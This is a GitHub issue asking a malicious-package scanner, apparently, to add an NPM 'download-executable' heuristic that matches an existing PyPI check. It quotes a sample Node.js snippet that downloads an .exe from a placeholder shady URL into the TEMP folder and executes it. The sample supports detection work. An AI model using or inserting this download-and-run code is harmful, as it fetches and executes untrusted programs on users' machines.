Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Missing NPM heuristic: download-executable #432

Open
sobregosodd opened this issue Aug 1, 2024 · 0 comments
Open

Missing NPM heuristic: download-executable #432

sobregosodd opened this issue Aug 1, 2024 · 0 comments

Comments

@sobregosodd
Copy link
Contributor

sobregosodd commented Aug 1, 2024

Similar pypi heuristic is not present in NPM:

Sample:


const Link = "http://someshadyurl.com/node_manager.exe";
const FinalPath = path.join(process.env.TEMP, "test.exe")

async function main(){
    await download(Link, FinalPath)
    await execFileSync(FinalPath)
}

function download(url, dest) {
    return new Promise((resolve, reject) => {
        const file = fs.createWriteStream(dest, { flags: "wx" });

        const request = http.get(url, response => {
            if (response.statusCode === 200) {
                response.pipe(file);
            } else {
                file.close();
                fs.unlink(dest, () => {}); // Delete temp file
                reject(`Server responded with ${response.statusCode}: ${response.statusMessage}`);
            }
        });

        request.on("error", err => {
            file.close();
            fs.unlink(dest, () => {}); // Delete temp file
            reject(err.message);
        });

        file.on("finish", () => {
            resolve();
        });

        file.on("error", err => {
            file.close();

            if (err.code === "EEXIST") {
                reject("File already exists");
            } else {
                fs.unlink(dest, () => {}); // Delete temp file
                reject(err.message);
            }
        });
    });
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant